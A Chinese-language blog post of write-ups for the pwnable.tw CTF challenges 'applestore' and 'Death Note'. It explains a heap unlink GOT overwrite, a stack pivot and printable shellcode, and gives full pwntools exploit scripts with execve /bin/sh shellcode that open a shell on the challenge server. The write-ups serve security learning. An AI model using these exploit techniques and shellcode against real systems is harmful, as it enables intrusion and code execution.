关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
pwnable.tw[7,10]
无
131
0
0
mut3p1g
## applestore ### ALL 这题模拟了一个苹果商店,一共有下面几个操作: 1.列举商品 这个就是把商品打印出来了。 2.加入物品 这里面有俩操作,分别为create和insert,先获取序号,然后将对应的商品和价格malloc一个堆后加入ptr ``` case 1: v1 = create((int)"iPhone 6", (char *)0xC7); insert((int)v1); goto LABEL_8; char **__cdecl create(int goods, char *price) { char **v2; // eax@1 char **v3; // ST1C_4@1 v2 = (char **)malloc(0x10u);//申请0x10的空间 v3 = v2; v2[1] = price; asprintf(v2, "%s", goods); v3[2] = 0; v3[3] = 0; return v3; } int __cdecl insert(int a1) { int result; // eax@4 _DWORD *i; // [sp+Ch] [bp-4h]@1 for ( i = &myCart; i[2]; i = (_DWORD *)i[2] ) ;//通过链表一直查看下一个 i[2] = a1; //i[2]存着下一个堆的地址 result = a1; *(_DWORD *)(a1 + 12) = i;//由于是dword,所以实际上是a1[3],存着上一个堆的地址 return result; } ``` 可以得到购物车里面每一个物品的结构是这样的 ``` goods[0]=商品名称 goods[1]=商品价格 goods[2]=下一个商品的地址 good3[3]=上一个商品的地址 ``` 其中`myCart`相当于第0个商品,只是0,1,3都没有而已。 3.删除物品 ``` char nptr; // [sp+26h] [bp-22h]@1 Index = 1; //循环用的 v2 = myCart[2]; //这里是myCart[2],即第一个商品的地址 printf("Item Number> "); fflush(stdout); my_read(&nptr, 0x15u); index = atoi(&nptr); while ( v2 ) { if ( Index == index ) { next = *(_DWORD *)(v2 + 8); last = *(_DWORD *)(v2 + 12); if ( last ) *(_DWORD *)(last + 8) = next; if ( next ) *(_DWORD *)(next + 12) = last; printf("Remove %d:%s from your shopping cart.\n", Index, *(_DWORD *)v2); return *MK_FP(__GS__, 20) ^ v7; } ++Index; v2 = *(_DWORD *)(v2 + 8); } ``` 可以看到,这里用的其实是模拟堆的删除方法,并没有加上真实堆的判断方法,所以肯定是存在漏洞的。 关键代码就是这四句: ``` next = *(_DWORD *)(v2 + 8); last = *(_DWORD *)(v2 + 12); if ( last ) *(_DWORD *)(last + 8) = next; if ( next ) *(_DWORD *)(next + 12) = last; ``` 由于`next`和`last`都是地址,如果我们能把他们变成got表的地址,那么就能篡改got表内容,从而使得调用函数的时候会跳到我们修改后的地址。 这里就拿`last`来举例吧: ``` 如果我们能将篡改v2+8和v2+12为下面的俩值 *(v2+12)=last==read_got-8 *(v2+8)=next=system_addr 那么*(read_got-8+8)=*(puts_got)=system_addr 这样调用puts的时候实际上调用的就是syste,但这样也会导致system的代码被修改,但那里是不可写的。 ``` 那么现在就得找找看如何溢出可以使得我们修改某个堆的前后堆地址了。 4.查看购物车 ``` signed int I; // [sp+18h] [bp-30h]@1 int sum; // [sp+1Ch] [bp-2Ch]@1 int i; // [sp+20h] [bp-28h]@2 char buf; // [sp+26h] [bp-22h]@1 I = 1; sum = 0; printf("Let me check your cart. ok? (y/n) > "); fflush(stdout); my_read(&buf, 0x15u); if ( buf == 'y' ) { puts("==== Cart ===="); for ( i = myCart[2]; i; i = *(_DWORD *)(i + 8) ) { v0 = I++; printf("%d: %s - $%d\n", v0, *(_DWORD *)i, *(_DWORD *)(i + 4)); sum += *(_DWORD *)(i + 4); } } ``` 5.结账 这里给了个`iphone 8`,还只要一块钱,所以问题肯定出在这里。这里先是调用查看购物车的函数,然后如果能加`iphone8`就会把栈上的数据给加入到链表里面去,这样就可能可以溢出了 ``` char *v2; // [sp+18h] [bp-20h]@2 v1 = cart(); if ( v1 == 0x1C06 ) { puts("*: iPhone 8 - $1"); asprintf(&v2, "%s", "iPhone 8"); v3 = 1; insert((int)&v2); v1 = 7175; } ``` 可以看到,v2和buf的栈地址是非常接近的,同时buf可以覆盖v2。 那么如果第一次调用`checkout`,第二次调用`cart`,两次都是从`handle`调用的,所以栈是一样的,这样就能使得我们的输入能覆盖最后一个`iphone8`的结构,从而泄露地址并且可以通过上面说的`delete`操作来修改`got表`。 ### LEAK 首先计算一下怎么才能将`iphone8`加入 ``` for i in xrange(7174/199): for j in xrange(7174/299): for k in xrange(7174/399): for x in xrange(7174/499): if (i*199+ j*299 + k*399 + x*499)==7174: print i,j,k,x ``` 这里我选择了6个1和20个2。 然后栈结构是这样的 ``` +==========+ ebp-0x22 "y\x00" +==========+ ebp-0x20 v2[name] +==========+ ebp-0x1c v2[price] +==========+ ebp-0x18 v2[next] +==========+ ebp-0x14 v2[last] ``` 这样我们可以通过打印`name`来泄露`got表`地址,从而计算出`system`的地址。 ### WRITE 覆写地址的方法上面已经说过了,但是由于`system`是不可写的,所以得想另外一种方法。 覆写虽然不能写`system`,但是栈肯定是可以写的,所以可以先通过泄露`environ`这个环境变量指针来泄露栈地址,然后栈就可以随我们写入了。 然后我们的目标就是`handler`里面读取操作的这句话 ``` char nptr; // [sp+16h] [bp-22h]@2 my_read(&nptr, 0x15u); ``` 那么我们可以修改`ebp`,来将这里的值指向`atoi_got`,从而使得我们可以将读取的值存在`atoi_got`里面。 那么可以得到栈结构如下: ``` +==========+ ebp-0x22 "27" +==========+ ebp-0x20 v2[name]=0 +==========+ ebp-0x1c v2[price]=0 +==========+ ebp-0x18 v2[next]=ebp-0xc +==========+ ebp-0x14 v2[last]=atoi_got+0x22 ``` 这样再次读取的时候,就会出现 ``` read(atoi_got+0x22-0x22)=read(atoi_got) ``` 这样我们输入`system_addr`就会读入到`atoi_got`中了。 ### EXP ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * import sys context.log_level = "debug" def Add(id): p.recvuntil("> ") p.sendline("2") p.recvuntil("Number>") p.sendline(str(id)) def Remove(id): p.recvuntil("> ") p.sendline("3") p.recvuntil("Number>") p.sendline(str(id)) def Cart(content): p.recvuntil("> ") p.sendline("4") p.recvuntil("(y/n) >") p.sendline(content) def Check(content): p.recvuntil("> ") p.sendline("5") p.recvuntil("(y/n) >") p.sendline(content) def Leak(addr): payload = "y\x00" + p32(addr) + p32(0)*3 Cart(payload) ret = p.recvuntil("27: ") leak_addr = u32(p.recv(4)) return leak_addr if __name__ == "__main__": if len(sys.argv)==1: # local p = process("./applestore") else: p = remote('chall.pwnable.tw', 10104) #gdb.attach(proc.pidof(p)[0],"b *0x080489fd\n") #+==================INIT===================================== libc = ELF('libc_32.so.6') elf = ELF('applestore') libc_atoi = libc.symbols['atoi'] libc_system = libc.symbols['system'] libc_binsh = next(libc.search("/bin/sh")) atoi_got = elf.got['atoi'] atoi_plt = elf.symbols['atoi'] ret_addr = 0x8048B3A #+==================INIT===================================== for i in xrange(6): Add(1) for j in xrange(20): Add(2) Check("y") atoi_addr = Leak(atoi_got) base_addr = atoi_addr - libc_atoi system_addr = base_addr + libc_system binsh_addr = base_addr + libc_binsh stack_addr = Leak(base_addr + libc.symbols['environ']) log.success("stack_addr:"+hex(stack_addr)) log.success("atoi_addr:"+hex(atoi_addr)) log.success("system_addr:"+hex(system_addr)) payload = "27" + p32(0) * 2 + p32(stack_addr - 0x104 - 0xc) + p32(atoi_got + 0x22) Remove(payload) payload2 = p32(system_addr)+";/bin/bash\x00" p.sendline(payload2) p.interactive() ``` ### SUM 这题做了很久,主要原因还是自己没有注意到各个函数调用之间栈的关系。从同一个函数调用子函数时,那么他们的`ebp`都是一样的,所以对于每个子函数在栈相同偏移上的空间,实际上是一块共享空间。而通过修改返回的ebp来实现栈的转移,也是没见过的点,在这里记录一下。 ## Death Note ### ALL 这题也是一个添加笔记然后带删除的题目,但不同的是存在`rwx`的空间,所以是可以写入并执行`shellcode`的 ![](https://leanote.com/api/file/getImage?fileId=591a6b49ab64415c1c0006f0) 然后查看代码逻辑 1.添加笔记 关键代码如下 ``` //.got.plt:0804A014 off_804A014 dd offset free //.bss:0804A060 note read_input(&name, 0x50u); if ( !is_printable(&name) ) { puts("It must be a printable name !"); exit(-1); } *(¬e + Index) = strdup(&name); ``` 可以看到如果`Index`为负的话,那么就能够覆盖`free`的`got表`了。 2.打印笔记 这个就是打印笔记 ``` result = (int)*(¬e + Index); if ( result ) result = printf("Name : %s\n", *(¬e + Index)); ``` 3.删除笔记 ``` free(*(¬e + Index)); ``` 在这里删除将`free`指引到我们的`shellcode`就了。 ## SHELLCODE 关键还是`shellcode`的书写,因为必须全是可显字符,而且长度不能超过`0x50`. ``` int __cdecl is_printable(char *s) { size_t i; // [sp+Ch] [bp-Ch]@1 for ( i = 0; strlen(s) > i; ++i ) { if ( s[i] <= 0x1F || s[i] == 0x7F ) return 0; } return 1; } ``` 然后可以构造一个`shellcode` ``` buf = '' buf += asm('pop ecx') # ecx = 0x8048878 buf += asm('pop eax') # eax = heap addr buf += asm('push 0x6e') buf += asm('pop ebx') buf += asm('sub byte ptr[eax+0x33], bl') # make ret buf += asm('push 0x50') #read_num buf += asm('push esp') buf += asm('pop eax') buf += asm('push eax') #read into stack buf += asm('push eax') #ret_addr buf += asm('push ecx') #call read_input #make ecx = read_input 0x804862b buf += asm('push esp') # stack addr buf += asm('pop eax') # eax = stack addr buf += asm ('push 0x30303033') buf += asm('pop esi') buf += asm ('xor word ptr[eax], si') buf += asm ('push 0x30303220') buf += asm('pop esi') buf += asm('sub word ptr[eax], si') buf += "11111111" ``` ## EXP ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * import sys context.log_level = "debug" BIN_FILE = "death_note" LIBC_FILE = "libc_32.so.6" def Add(Index,name): p.recvuntil("choice :") p.sendline("1") p.recvuntil("Index :") p.sendline(str(Index)) p.recvuntil("Name :") p.sendline(name) def Show(Index): p.recvuntil("choice :") p.sendline("2") p.recvuntil("Index :") p.sendline(Index) def Delete(Index): p.recvuntil("choice :") p.sendline("3") p.recvuntil("Index :") p.sendline(Index) def Exit(): p.recvuntil("choice :") p.sendline("4") if __name__ == "__main__": if len(sys.argv)==1: # local p = process(BIN_FILE) else: p = remote('chall.pwnable.tw', 10201) #gdb.attach(proc.pidof(p)[0],"b *0x8048873\nb *0x80487cc\n") #+==================INIT===================================== libc = ELF(LIBC_FILE) elf = ELF(BIN_FILE) free_got = elf.got['free'] name_addr = 0x0804A060 #+==================INIT===================================== buf = '' buf += asm('pop ecx') # ecx = 0x8048878 buf += asm('pop eax') # eax = heap addr buf += asm('push 0x6e') buf += asm('pop ebx') buf += asm('sub byte ptr[eax+0x33], bl') buf += asm('push 0x50') #read_num buf += asm('push esp') buf += asm('pop eax') buf += asm('push eax') #read into stack buf += asm('push eax') #ret_addr buf += asm('push ecx') #call read_input #make ecx = read_input 0x804862b buf += asm('push esp') # stack addr buf += asm('pop eax') # eax = stack addr buf += asm ('push 0x30303033') buf += asm('pop esi') buf += asm ('xor word ptr[eax], si') buf += asm ('push 0x30303220') buf += asm('pop esi') buf += asm('sub word ptr[eax], si') buf += "11111111" Add(1,"mutepig") Add((free_got - name_addr)/4,buf) Delete("1") shellcode = "\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" p.sendline(shellcode) p.interactive() ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.